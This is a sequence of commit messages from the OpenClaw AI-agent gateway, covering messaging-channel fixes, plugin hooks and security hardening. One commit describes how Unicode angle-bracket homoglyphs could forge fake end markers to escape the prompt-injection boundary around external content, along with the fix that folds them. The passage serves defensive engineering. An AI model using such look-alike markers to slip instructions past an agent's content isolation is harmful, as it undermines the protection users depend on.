2. Replace boolean toggles with depth counters for tag nesting
- codeDepth, preDepth, anchorDepth track nesting levels
- Correctly handles nested tags like <pre><code>...</code></pre>
- Prevents wrapping inside any level of protected tags
Add 4 tests for edge cases:
- Nested code tags (depth tracking)
- Multiple anchor tags in sequence
- Auto-linked anchor with backreference match
- Anchor with different href/label (no match)
* fix(telegram): add escapeHtml and escapeRegex for defense in depth
Code review fixes:
1. Escape filename with escapeHtml() before inserting into <code> tags
- Prevents HTML injection if regex ever matches unsafe chars
- Defense in depth (current regex already limits to safe chars)
2. Escape extensions with escapeRegex() before joining into pattern
- Prevents regex breakage if extensions contain metacharacters
- Future-proofs against extensions like 'c++' or 'd.ts'
Add tests documenting regex safety boundaries:
- Filenames with special chars (&, <, >) don't match
- Only [a-zA-Z0-9_.\-./] chars are captured
* fix(telegram): catch orphaned single-letter TLD patterns
When text like 'R&D.md' doesn't match the main file pattern (because &
breaks the character class), the 'D.md' part can still be auto-linked
by Telegram as a domain (https://d.md/).
Add second pass to catch orphaned TLD patterns like 'D.md', 'R.io', 'X.ai'
that follow non-alphanumeric characters and wrap them in <code> tags.
Pattern: ([^a-zA-Z0-9]|^)([A-Za-z]\.(?:extensions))(?=[^a-zA-Z0-9/]|$)
Tests added:
- 'wraps orphaned TLD pattern after special character' (R&D.md → R&<code>D.md</code>)
- 'wraps orphaned single-letter TLD patterns' (X.ai, R.io)
* refactor(telegram): remove popular domain TLDs from file extension list
Remove .ai, .io, .tv, .fm from FILE_EXTENSIONS_WITH_TLD because:
- These are commonly used as real domains (x.ai, vercel.io, github.io)
- Rarely used as actual file extensions
- Users are more likely referring to websites than files
Keep: md, sh, py, go, pl (common file extensions, rarely intentional domains)
Keep: am, at, be, cc, co (less common as intentional domain references)
Update tests to reflect the change:
- Add test for supported extensions (.am, .at, .be, .cc, .co)
- Add test verifying popular TLDs stay as links
* fix(telegram): prevent orphaned TLD wrapping inside HTML tags
Code review fixes:
1. Orphaned TLD pass now checks if match is inside HTML tag
- Uses lastIndexOf('<') vs lastIndexOf('>') to detect tag context
- Skips wrapping when between < and > (inside attributes)
- Prevents invalid HTML like <a href="...&<code>D.md</code>">
2. textMode: 'html' now trusts caller markup
- Returns text unchanged instead of wrapping
- Caller owns HTML structure in this mode
Tests added:
- 'does not wrap orphaned TLD inside href attributes'
- 'does not wrap orphaned TLD inside any HTML attribute'
- 'does not wrap in HTML mode (trusts caller markup)'
* refactor(telegram): use snapshot for orphaned TLD offset clarity
Use explicit snapshot variable when checking tag positions in orphaned
TLD pass. While JavaScript's replace() doesn't mutate during iteration,
this makes intent explicit and adds test coverage for multi-TLD HTML.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* fix(telegram): prevent orphaned TLD wrapping inside code/pre tags
- Add depth tracking for code/pre tags in orphaned TLD pass
- Fix test to expect valid HTML output
- 55 tests now covering nested tag scenarios
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* fix(telegram): clamp depth counters and add anchor tracking to orphaned pass
- Clamp depth counters at 0 for malformed HTML with stray closing tags
- Add anchor depth tracking to orphaned TLD pass to prevent wrapping
inside link text (e.g., <a href="...">R&D.md</a>)
- 57 tests covering all edge cases
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* fix(telegram): keep .co domains linked and wrap punctuated file refs
---------
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* feat: add before_compaction and before_reset plugin hooks with session context
- Pass session messages to before_compaction hook
- Add before_reset plugin hook for /new and /reset commands
- Add sessionId to plugin hook agent context
* feat: extraBootstrapFiles config with glob pattern support
Add extraBootstrapFiles to agent defaults config, allowing glob patterns
(e.g. "projects/*/TOOLS.md") to auto-load project-level bootstrap files
into agent context every turn. Missing files silently skipped.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(status): show custom memory plugins as enabled, not unavailable
The status command probes memory availability using the built-in
memory-core manager. Custom memory plugins (e.g. via plugin slot)
can't be probed this way, so they incorrectly showed "unavailable".
Now they show "enabled (plugin X)" without the misleading label.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: use async fs.glob and capture pre-compaction messages
- Replace globSync (node:fs) with fs.glob (node:fs/promises) to match
codebase conventions for async file operations
- Capture session.messages BEFORE replaceMessages(limited) so
before_compaction hook receives the full conversation history,
not the already-truncated list
* fix: resolve lint errors from CI (oxlint strict mode)
- Add void to fire-and-forget IIFE (no-floating-promises)
- Use String() for unknown catch params in template literals
- Add curly braces to single-statement if (curly rule)
* fix: resolve remaining CI lint errors in workspace.ts
- Remove `| string` from WorkspaceBootstrapFileName union (made all
typeof members redundant per no-redundant-type-constituents)
- Use type assertion for extra bootstrap file names
- Drop redundant await on fs.glob() AsyncIterable (await-thenable)
* fix: address Greptile review — path traversal guard + fs/promises import
- workspace.ts: use path.resolve() + traversal check in loadExtraBootstrapFiles()
- commands-core.ts: import fs from node:fs/promises, drop fs.promises prefix
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: resolve symlinks before workspace boundary check
Greptile correctly identified that symlinks inside the workspace could
point to files outside it, bypassing the path prefix check. Now uses
fs.realpath() to resolve symlinks before verifying the real path stays
within the workspace boundary.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: address Greptile review — hook reliability and type safety
1. before_compaction: add compactingCount field so plugins know both
the full pre-compaction message count and the truncated count being
fed to the compaction LLM. Clarify semantics in comment.
2. loadExtraBootstrapFiles: use path.basename() for the name field
so "projects/quaid/TOOLS.md" maps to the known "TOOLS.md" type
instead of an invalid WorkspaceBootstrapFileName cast.
3. before_reset: fire the hook even when no session file exists.
Previously, short sessions without a persisted file would silently
skip the hook. Now fires with empty messages array so plugins
always know a reset occurred.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: validate bootstrap filenames and add compaction hook timeout
- Only load extra bootstrap files whose basename matches a recognized
workspace filename (AGENTS.md, TOOLS.md, etc.), preventing arbitrary
files from being injected into agent context.
- Wrap before_compaction hook in a 30-second Promise.race timeout so
misbehaving plugins cannot stall the compaction pipeline.
- Clarify hook comments: before_compaction is intentionally awaited
(plugins need messages before they're discarded) but bounded.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: make before_compaction non-blocking, add sessionFile to after_compaction
- before_compaction is now true fire-and-forget — no await, no timeout.
Plugins that need full conversation data should persist it themselves
and return quickly, or use after_compaction for async processing.
- after_compaction now includes sessionFile path so plugins can read
the full JSONL transcript asynchronously. All pre-compaction messages
are preserved on disk, eliminating the need to block compaction.
- Removes Promise.race timeout pattern that didn't actually cancel
slow hooks (just raced past them while they continued running).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* feat: add sessionFile to before_compaction for parallel processing
The session JSONL already has all messages on disk before compaction
starts. By providing sessionFile in before_compaction, plugins can
read and extract data in parallel with the compaction LLM call rather
than waiting for after_compaction. This is the optimal path for memory
plugins that need the full conversation history.
sessionFile is also kept on after_compaction for plugins that only
need to act after compaction completes (analytics, cleanup, etc.).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* refactor: move bootstrap extras into bundled hook
---------
Co-authored-by: Solomon Steadman <solstead@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Clawdbot <clawdbot@alfie.local>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(browser): hot-reload profiles added after gateway start (#4841)
* style: format files with oxfmt
* Fix hot-reload stale config fields bug in forProfile
* Fix test order-dependency in hot-reload profiles test
* Fix mock reset order to prevent stale cfgProfiles
* Fix config cache blocking hot-reload by clearing cache before loadConfig
* test: improve hot-reload test to properly exercise config cache
- Add simulated cache behavior in mock
- Prime cache before mutating config
- Verify stale value without clearConfigCache
- Verify fresh value after hot-reload
Addresses review comment about test not exercising cache
* test: add hot-reload tests for browser profiles in server context.
* fix(browser): optimize profile hot-reload to avoid global cache clear
* fix(browser): remove unused loadConfig import
* fix(test): execute resetModules before test setup
* feat: implement browser server context with profile hot-reloading and tab management.
* fix(browser): harden profile hot-reload and shutdown cleanup
* test(browser): use toSorted in known-profile names test
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: ensure CLI exits after command completion
The CLI process would hang indefinitely after commands like
`openclaw gateway restart` completed successfully. Two root causes:
1. `runCli()` returned without calling `process.exit()` after
`program.parseAsync()` resolved, and Commander.js does not
force-exit the process.
2. `daemon-cli/register.ts` eagerly called `createDefaultDeps()`
which imported all messaging-provider modules, creating persistent
event-loop handles that prevented natural Node exit.
Changes:
- Add `flushAndExit()` helper that drains stdout/stderr before calling
`process.exit()`, preventing truncated piped output in CI/scripts.
- Call `flushAndExit()` after both `tryRouteCli()` and
`program.parseAsync()` resolve.
- Remove unnecessary `void createDefaultDeps()` from daemon-cli
registration — daemon lifecycle commands never use messaging deps.
- Make `serveAcpGateway()` return a promise that resolves on
intentional shutdown (SIGINT/SIGTERM), so `openclaw acp` blocks
`parseAsync` for the bridge lifetime and exits cleanly on signal.
- Handle the returned promise in the standalone main-module entry
point to avoid unhandled rejections.
Fixes#12904
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: refactor CLI lifecycle and lazy outbound deps (#12906) (thanks @DrCrinkle)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: defer gateway restart until all replies are sent
Fixes a race condition where gateway config changes (e.g., enabling
plugins via iMessage) trigger an immediate SIGUSR1 restart, killing the
iMessage RPC connection before replies are delivered.
Both restart paths (config watcher and RPC-triggered) now defer until
all queued operations, pending replies, and embedded agent runs complete
(polling every 500ms, 30s timeout). A shared emitGatewayRestart() guard
prevents double SIGUSR1 when both paths fire simultaneously.
Key changes:
- Dispatcher registry tracks active reply dispatchers globally
- markComplete() called in finally block for guaranteed cleanup
- Pre-restart deferral hook registered at gateway startup
- Centralized extractDeliveryInfo() for session key parsing
- Post-restart sentinel messages delivered directly (not via agent)
- config-patch distinguished from config-apply in sentinel kind
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: single-source gateway restart authorization
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Fixes#15692
The previous fix was too broad — it removed the relay for ALL isolated jobs.
This broke backwards compatibility for jobs without explicit delivery config.
The correct behavior is:
- If job.delivery exists → isolated runner handles it via runSubagentAnnounceFlow
- If only legacy payload.deliver fields → relay to main if requested (original behavior)
This addresses Greptile's review feedback about runIsolatedAgentJob being an
injected dependency that might not call runSubagentAnnounceFlow.
Uses resolveCronDeliveryPlan().source to distinguish between explicit delivery
config and legacy payload-only jobs.
When an isolated cron job delivers its output via deliverOutboundPayloads
or the subagent announce flow, the finish handler in executeJobCore
unconditionally posts a summary to the main agent session and wakes it
via requestHeartbeatNow. The main agent then generates a second response
that is also delivered to the target channel, resulting in duplicate
messages with different content.
Add a `delivered` flag to RunCronAgentTurnResult that is set to true
when the isolated run successfully delivers its output. In executeJobCore,
skip the enqueueSystemEvent + requestHeartbeatNow call when the flag is
set, preventing the main agent from waking up and double-posting.
Fixes#15692
Unlike Bash, Zsh has several "special" readonly variables (status, pipestatus, etc.) that the shell manages automatically. Shadowing them with local declarations triggers an error.
* fix(gateway): normalize session key casing to prevent ghost sessions on Linux
On case-sensitive filesystems (Linux), mixed-case session keys like
agent:ops:MySession and agent:ops:mysession resolve to different store
entries, creating ghost duplicates that never converge.
Core changes in session-utils.ts:
- resolveSessionStoreKey: lowercase all session key components
- canonicalizeSpawnedByForAgent: accept cfg, resolve main-alias references
via canonicalizeMainSessionAlias after lowercasing
- loadSessionEntry: return legacyKey only when it differs from canonicalKey
- resolveGatewaySessionStoreTarget: scan store for case-insensitive matches;
add optional scanLegacyKeys param to skip disk reads for read-only callers
- Export findStoreKeysIgnoreCase for use by write-path consumers
- Compare global/unknown sentinels case-insensitively in all canonicalization
functions
sessions-resolve.ts:
- Make resolveSessionKeyFromResolveParams async for inline migration
- Check canonical key first (fast path), then fall back to legacy scan
- Delete ALL legacy case-variant keys in a single updateSessionStore pass
Fixes#12603
* fix(gateway): propagate canonical keys and clean up all case variants on write paths
- agent.ts: use canonicalizeSpawnedByForAgent (with cfg) instead of raw
toLowerCase; use findStoreKeysIgnoreCase to delete all legacy variants
on store write; pass canonicalKey to addChatRun, registerAgentRunContext,
resolveSendPolicy, and agentCommand
- sessions.ts: replace single-key migration with full case-variant cleanup
via findStoreKeysIgnoreCase in patch/reset/delete/compact handlers; add
case-insensitive fallback in preview (store already loaded); make
sessions.resolve handler async; pass scanLegacyKeys: false in preview
- server-node-events.ts: use findStoreKeysIgnoreCase to clean all legacy
variants on voice.transcript and agent.request write paths; pass
canonicalKey to addChatRun and agentCommand
* test(gateway): add session key case-normalization tests
Cover the case-insensitive session key canonicalization logic:
- resolveSessionStoreKey normalizes mixed-case bare and prefixed keys
- resolveSessionStoreKey resolves mixed-case main aliases (MAIN, Main)
- resolveGatewaySessionStoreTarget includes legacy mixed-case store keys
- resolveGatewaySessionStoreTarget collects all case-variant duplicates
- resolveGatewaySessionStoreTarget finds legacy main alias keys with
customized mainKey configuration
All 5 tests fail before the production changes, pass after.
* fix: clean legacy session alias cleanup gaps (openclaw#12846) thanks @mcaxtr
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The Matrix channel previously hardcoded `listMatrixAccountIds` to always
return only `DEFAULT_ACCOUNT_ID`, ignoring any accounts configured in
`channels.matrix.accounts`. This prevented running multiple Matrix bot
accounts simultaneously.
Changes:
- Update `listMatrixAccountIds` to read from `channels.matrix.accounts`
config, falling back to `DEFAULT_ACCOUNT_ID` for legacy single-account
configurations
- Add `resolveMatrixConfigForAccount` to resolve config for a specific
account ID, merging account-specific values with top-level defaults
- Update `resolveMatrixAccount` to use account-specific config when
available
- The multi-account config structure (channels.matrix.accounts) was not
defined in the MatrixConfig type, causing TypeScript to not recognize
the field. Added the accounts field to properly type the multi-account
configuration.
- Add stopSharedClientForAccount() to stop only the specific account's
client instead of all clients when an account shuts down
- Wrap dynamic import in try/finally to prevent startup mutex deadlock
if the import fails
- Pass accountId to resolveSharedMatrixClient(), resolveMatrixAuth(),
and createMatrixClient() to ensure the correct account's credentials
are used for outbound messages
- Add accountId parameter to resolveMediaMaxBytes to check account-specific
config before falling back to top-level config
- Maintain backward compatibility with existing single-account setups
This follows the same pattern already used by the WhatsApp channel for
multi-account support.
Fixes#3165Fixes#3085
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* fix(agents): wait for agent idle before flushing pending tool results
When pi-agent-core's auto-retry mechanism handles overloaded/rate-limit
errors, it resolves waitForRetry() on assistant message receipt — before
tool execution completes in the retried agent loop. This causes the
attempt's finally block to call flushPendingToolResults() while tools
are still executing, inserting synthetic 'missing tool result' errors
and causing silent agent failures.
The fix adds a waitForIdle() call before the flush to ensure the agent's
retry loop (including tool execution) has fully completed.
Evidence from real session: tool call and synthetic error were only 53ms
apart — the tool never had a chance to execute before being flushed.
Root cause is in pi-agent-core's _resolveRetry() firing on message_end
instead of agent_end, but this workaround in OpenClaw prevents the
symptom without requiring an upstream fix.
Fixes#8643Fixes#13351
Refs #6682, #12595
* test: add tests for tool result flush race condition
Validates that:
- Real tool results are not replaced by synthetic errors when they arrive in time
- Flush correctly inserts synthetic errors for genuinely orphaned tool calls
- Flush is a no-op after real tool results have already been received
Refs #8643, #13748
* fix(agents): add waitForIdle to all flushPendingToolResults call sites
The original fix only covered the main run finally block, but there are
two additional call sites that can trigger flushPendingToolResults while
tools are still executing:
1. The catch block in attempt.ts (session setup error handler)
2. The finally block in compact.ts (compaction teardown)
Both now await agent.waitForIdle() with a 30s timeout before flushing,
matching the pattern already applied to the main finally block.
Production testing on VPS with debug logging confirmed these additional
paths can fire during sub-agent runs, producing spurious synthetic
'missing tool result' errors.
* fix(agents): centralize idle-wait flush and clear timeout handle
---------
Co-authored-by: Renue Development <dev@renuebyscience.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
- Adds `activity`, `status`, `activityType`, and `activityUrl` to Discord provider config schema.
- Implements a `ReadyListener` in `DiscordProvider` to apply these settings on connection.
- Solves the issue where `@buape/carbon` ignores initial presence options in constructor.
- Validated manually and via existing test suite.
* Browser/Security: constrain trace and download output paths to temp roots
* Changelog: remove advisory ID from pre-public security note
* Browser/Security: constrain trace and download output paths to temp roots
* Changelog: remove advisory ID from pre-public security note
* test(bluebubbles): align timeout status expectation to 408
* test(discord): remove unused race-condition counter in threading test
* test(bluebubbles): align timeout status expectation to 408
Fixes#8278
When autoThread is enabled and a thread already exists (user continues
conversation in thread), replies were sometimes routing to the root
channel instead of the thread. This happened because the reply delivery
plan only explicitly set the thread target when a NEW thread was created
(createdThreadId), but not when the message was in an existing thread.
The fix adds a fallback case: when threadChannel is set (we're in an
existing thread) but no new thread was created, explicitly route to
the thread's channel ID. This ensures all thread replies go to the
correct destination.
* feat(gateway): add register and awaitDecision methods to ExecApprovalManager
Separates registration (synchronous) from waiting (async) to allow callers
to confirm registration before the decision is made. Adds grace period for
resolved entries to prevent race conditions.
* feat(gateway): add two-phase response and waitDecision handler for exec approvals
Send immediate 'accepted' response after registration so callers can confirm
the approval ID is valid. Add exec.approval.waitDecision endpoint to wait for
decision on already-registered approvals.
* fix(exec): await approval registration before returning approval-pending
Ensures the approval ID is registered in the gateway before the tool returns.
Uses exec.approval.request with expectFinal:false for registration, then
fire-and-forget exec.approval.waitDecision for the decision phase.
Fixes#2402
* test(gateway): update exec-approval test for two-phase response
Add assertion for immediate 'accepted' response before final decision.
* test(exec): update approval-id test mocks for new two-phase flow
Mock both exec.approval.request (registration) and exec.approval.waitDecision
(decision) calls to match the new internal implementation.
* fix(lint): add cause to errors, use generics instead of type assertions
* fix(exec-approval): guard register() against duplicate IDs
* fix: remove unused timeoutMs param, guard register() against duplicates
* fix(exec-approval): throw on duplicate ID, capture entry in closure
* fix: return error on timeout, remove stale test mock branch
* fix: wrap register() in try/catch, make timeout handling consistent
* fix: update snapshot on timeout, make two-phase response opt-in
* fix: extend grace period to 15s, return 'expired' status
* fix: prevent double-resolve after timeout
* fix: make register() idempotent, capture snapshot before await
* fix(gateway): complete two-phase exec approval wiring
* fix: finalize exec approval race fix (openclaw#3357) thanks @ramin-shirali
* fix(protocol): regenerate exec approval request models (openclaw#3357) thanks @ramin-shirali
* fix(test): remove unused callCount in discord threading test
---------
Co-authored-by: rshirali <rshirali@rshirali-haga.local>
Co-authored-by: rshirali <rshirali@rshirali-haga-1.home>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The Discord send action was going through the plugin handler path
which wasn't passing the silent flag to sendMessageDiscord.
- Add silent param reading in handle-action.ts
- Pass silent to handleDiscordAction
- Add silent param in discord-actions-messaging.ts sendMessage case
The @buape/carbon RequestClient wasn't setting Content-Type: application/json
for the attachments endpoint request. Use native fetch with explicit headers
for the upload URL request.
Also pass token through to sendDiscordVoiceMessage for authorization.
Adds support for sending Discord voice messages via the message tool
with asVoice: true parameter.
Voice messages require:
- OGG/Opus format (auto-converted if needed via ffmpeg)
- Waveform data (generated from audio samples)
- Duration in seconds
- Message flag 8192 (IS_VOICE_MESSAGE)
Implementation:
- New voice-message.ts with audio processing utilities
- getAudioDuration() using ffprobe
- generateWaveform() samples audio and creates base64 waveform
- ensureOggOpus() converts audio to required format
- sendDiscordVoiceMessage() handles 3-step Discord upload process
Usage:
message(action='send', channel='discord', target='...',
path='/path/to/audio.mp3', asVoice=true)
Note: Voice messages cannot include text content (Discord limitation)
The fork's OAuth token lacks the workflow scope required to push
changes to .github/workflows/. Reverting the upstream labeler.yml
change so the branch can be force-pushed. The PR merge into main
will pick up the correct upstream version automatically.
Replace bare `new Error("Command lane cleared")` with a dedicated
`CommandLaneClearedError` class so callers that fire-and-forget
enqueued tasks can catch this specific type and avoid surfacing
unhandled rejection warnings.
clearCommandLane() was truncating the queue array without calling
resolve/reject on pending entries, causing never-settling promises
and memory leaks when upstream callers await enqueueCommandInLane().
Splice entries and reject each before clearing so callers can handle
the cancellation gracefully.
When multiple agents with autoThread:true are @mentioned in the same
message, only the first agent successfully creates a thread. Subsequent
agents fail because Discord only allows one thread per message.
Previously, the failure was silently caught and the agent would fall
back to replying in the parent channel.
Now, when thread creation fails, the code re-fetches the message and
checks for an existing thread (created by another agent). If found,
the agent replies in that thread instead of falling back.
Fixes#7508
Add null checks for guild.id and guild.name when resolving Discord
entities. This prevents TypeError when processing invite links for
servers/channels the bot doesn't have cached.
Fixes#6606
* fix(daemon): preserve backslashes in parseCommandLine on Windows
Only treat backslash as escape when followed by a quote or another
backslash. Bare backslashes are kept as-is so Windows paths survive.
Fixes#15587
* fix(daemon): preserve UNC backslashes in schtasks parsing (#15642) (thanks @arosstale)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(agent): search all agent stores when resolving --session-id
When `--session-id` was provided without `--to` or `--agent`, the reverse
lookup only searched the default agent's session store. Sessions created
under a specific agent (e.g. `--agent mybot`) live in that agent's store
file, so the lookup silently failed and the session was not reused.
Now `resolveSessionKeyForRequest` iterates all configured agent stores
when the primary store doesn't contain the requested sessionId.
Fixes#12881
* fix: search other agent stores when --to key does not match --session-id
When --to derives a session key whose stored sessionId doesn't match the
requested --session-id, the cross-store search now also runs. This handles
the case where a user provides both --to and --session-id targeting a
session in a different agent's store.
* fix(inbound): preserve literal backslash-n sequences in Windows paths
The normalizeInboundTextNewlines function was converting literal backslash-n
sequences (\n) to actual newlines, corrupting Windows paths like
C:\Work\nxxx\README.md when sent through WebUI.
This fix removes the .replaceAll("\\n", "\n") operation, preserving
literal backslash-n sequences while still normalizing actual CRLF/CR to LF.
Fixes#7968
* fix(test): set RawBody to Windows path so BodyForAgent fallback chain tests correctly
* fix: tighten Windows path newline regression coverage (#11547) (thanks @mcaxtr)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The channel allowlist parser matches bare numeric strings as channel IDs
before checking for guild IDs, causing guild snowflakes to hit Discord's
/channels/ endpoint (404). Prefix guild-only entries with 'guild:' so the
parser routes them to the correct guild resolution path.
Fixes both the monitor provider and onboarding wizard call sites.
Adds regression tests.
* increase image tool maxTokens from 512 to 4096
* fix: cap image tool tokens by model capability (#11770) (thanks @detecti1)
* docs: fix changelog attribution for #11770
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* refactor: add config.get to READ_METHODS set
* refactor(gateway): scope talk secrets via talk.config
* fix: resolve rebase conflicts for talk scope refactor
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(security): sanitize error responses to prevent information leakage
Replace raw error messages in HTTP responses with generic messages.
Internal error details (stack traces, module paths, error messages)
were being returned to clients in 4 gateway endpoints.
* fix: sanitize 2 additional error response leaks in openresponses-http
Address CodeRabbit feedback: non-stream and streaming error paths in
openresponses-http.ts were still returning String(err) to clients.
* fix: add server-side error logging to sanitized catch blocks
Restore err parameter and add logWarn() calls so errors are still
captured server-side for diagnostics while keeping client responses
sanitized. Addresses CodeRabbit feedback about silently discarded errors.
# Problem
The security audit and onboarding screens suggested 'Set session.dmScope="..."'
for multi-user DM isolation. This led users to try setting the value in invalid
config paths (e.g., 'channels.imessage.dmScope').
# Changes
- Updated 'src/security/audit.ts' to use 'formatCliCommand' for dmScope remediation.
- Updated 'src/commands/doctor-security.ts' and 'src/commands/onboard-channels.ts'
to use the explicit 'openclaw config set' command format.
# Validation
- Verified text alignment with 'pnpm tsgo'.
- Confirmed CLI command formatting remains consistent across modified files.
* fix(security): default standalone servers to loopback bind (#4)
Change canvas host and telegram webhook default bind from 0.0.0.0
(all interfaces) to 127.0.0.1 (loopback only) to prevent unintended
network exposure when no explicit host is configured.
* fix: restore telegram webhook host override while keeping loopback defaults (openclaw#13184) thanks @davidrudduck
* style: format telegram docs after rebase (openclaw#13184) thanks @davidrudduck
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(security): handle additional Unicode angle bracket homoglyphs in content sanitization
The foldMarkerChar function sanitizes external content markers to
prevent prompt injection boundary escapes, but only handles fullwidth
ASCII (U+FF21-FF5A) and fullwidth angle brackets (U+FF1C/FF1E).
Add handling for additional visually similar Unicode characters that
could be used to craft fake end markers:
- Mathematical angle brackets (U+27E8, U+27E9)
- CJK angle brackets (U+3008, U+3009)
- Left/right-pointing angle brackets (U+2329, U+232A)
- Single angle quotation marks (U+2039, U+203A)
- Small less-than/greater-than signs (U+FE64, U+FE65)
* test(security): add homoglyph marker coverage
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* initial commit
* removes assesment from docs
* resolves automated review comments
* resolves lint , type , tests , refactors , and submits
* solves : why do we have to lint the tests xD
* adds greptile fixes
* solves a type error
* solves a ci error
* refactors auths
* solves a failing test after i pulled from main lol
* solves a failing test after i pulled from main lol
* resolves token naming issue to comply with better practices when using hf / huggingface
* fixes curly lints !
* fixes failing tests for google api from main
* solve merge conflicts
* solve failing tests with a defensive check 'undefined' openrouterapi key
* fix: preserve Hugging Face auth-choice intent and token behavior (#13472) (thanks @Josephrp)
* test: resolve auth-choice cherry-pick conflict cleanup (#13472)
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(config): migrate audio.transcription with any CLI command
Two bugs fixed:
1. Removed CLI allowlist from mapLegacyAudioTranscription - the modern
config format has no such restriction, so the allowlist only blocked
legacy migration of valid configs like whisperx-transcribe.sh
2. Moved audio.transcription migration to a separate migration entry -
it was nested inside routing.config-v2 which early-exited when no
routing section existed
Closes#5017
* fix(macos): ensure exec approval prompt displays the command
The NSStackView and NSScrollView for the command text lacked proper
width constraints, causing the accessory view to collapse to zero
width in some cases. This fix:
1. Adds minimum width constraint (380px) to the root stack view
2. Adds minimum width constraint to the command scroll view
3. Enables vertical resizing and scrolling for long commands
4. Adds max height constraint to prevent excessively tall prompts
Closes#5038
* fix: validate legacy audio transcription migration input (openclaw#5042) thanks @shayan919293
* docs: add changelog note for legacy audio migration guard (openclaw#5042) thanks @shayan919293
* fix: satisfy lint on audio transcription migration braces (openclaw#5042) thanks @shayan919293
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* feat(gateway): add auth rate-limiting & brute-force protection
Add a per-IP sliding-window rate limiter to Gateway authentication
endpoints (HTTP, WebSocket upgrade, and WS message-level auth).
When gateway.auth.rateLimit is configured, failed auth attempts are
tracked per client IP. Once the threshold is exceeded within the
sliding window, further attempts are blocked with HTTP 429 + Retry-After
until the lockout period expires. Loopback addresses are exempt by
default so local CLI sessions are never locked out.
The limiter is only created when explicitly configured (undefined
otherwise), keeping the feature fully opt-in and backward-compatible.
* fix(gateway): isolate auth rate-limit scopes and normalize 429 responses
---------
Co-authored-by: buerbaumer <buerbaumer@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Older OpenClaw versions stored absolute sessionFile paths in sessions.json.
v2026.2.12 added path traversal security that rejected these absolute paths,
breaking all Telegram group handlers with 'Session file path must be within
sessions directory' errors.
Changes:
- resolvePathWithinSessionsDir() now normalizes absolute paths that resolve
within the sessions directory, converting them to relative before validation
- Added 3 tests for absolute path handling (within dir, with topic, outside dir)
Fixes#15283Closes#15214, #15237, #15216, #15152, #15213
Escape regex metacharacters in display names before constructing RegExp
to prevent runtime errors or unintended matches when names contain special
characters like (, ), ., +, ?, [, etc.
Add test coverage for names with regex metacharacters.
Clarify that User.Read.All permission is only needed for searching
users not in the current conversation. Mentions work out of the box
for conversation participants.
- Add mention parsing and validation logic
- Handle mention entities with proper whitespace
- Validate mention IDs to prevent false positives from code snippets
- Use fake placeholders in tests for privacy
* Agents: allow gpt-5.3-codex-spark in fallback and thinking
* Fix: model picker issue for openai-codex/gpt-5.3-codex-spark
Fixed an issue in the model picker.
* feat(slack): populate thread session with existing thread history
When a new session is created for a Slack thread, fetch and inject
the full thread history as context. This preserves conversation
continuity so the bot knows what it previously said in the thread.
- Add resolveSlackThreadHistory() to fetch all thread messages
- Add ThreadHistoryBody to context payload
- Use thread history instead of just thread starter for new sessions
Fixes#4470
* chore: remove redundant comments
* fix: use threadContextNote in queue body
* fix(slack): address Greptile review feedback
- P0: Use thread session key (not base session key) for new-session check
This ensures thread history is injected when the thread session is new,
even if the base channel session already exists.
- P1: Fetch up to 200 messages and take the most recent N
Slack API returns messages in chronological order (oldest first).
Previously we took the first N, now we take the last N for relevant context.
- P1: Batch resolve user names with Promise.all
Avoid N sequential API calls when resolving user names in thread history.
- P2: Include file-only messages in thread history
Messages with attachments but no text are now included with a placeholder
like '[attached: image.png, document.pdf]'.
- P2: Add documentation about intentional 200-message fetch limit
Clarifies that we intentionally don't paginate; 200 covers most threads.
* style: add braces for curly lint rule
* feat(slack): add thread.initialHistoryLimit config option
Allow users to configure the maximum number of thread messages to fetch
when starting a new thread session. Defaults to 20. Set to 0 to disable
thread history fetching entirely.
This addresses the optional configuration request from #2608.
* chore: trigger CI
* fix(slack): ensure isNewSession=true on first thread turn
recordInboundSession() in prepare.ts creates the thread session entry
before session.ts reads the store, causing isNewSession to be false
on the very first user message in a thread. This prevented thread
context (history/starter) from being injected.
Add IsFirstThreadTurn flag to message context, set when
readSessionUpdatedAt() returns undefined for the thread session key.
session.ts uses this flag to force isNewSession=true.
* style: format prepare.ts for oxfmt
* fix: suppress InboundHistory/ThreadStarterBody when ThreadHistoryBody present (#13912)
When ThreadHistoryBody is fetched from the Slack API (conversations.replies),
it already contains pending messages and the thread starter. Passing both
InboundHistory and ThreadStarterBody alongside ThreadHistoryBody caused
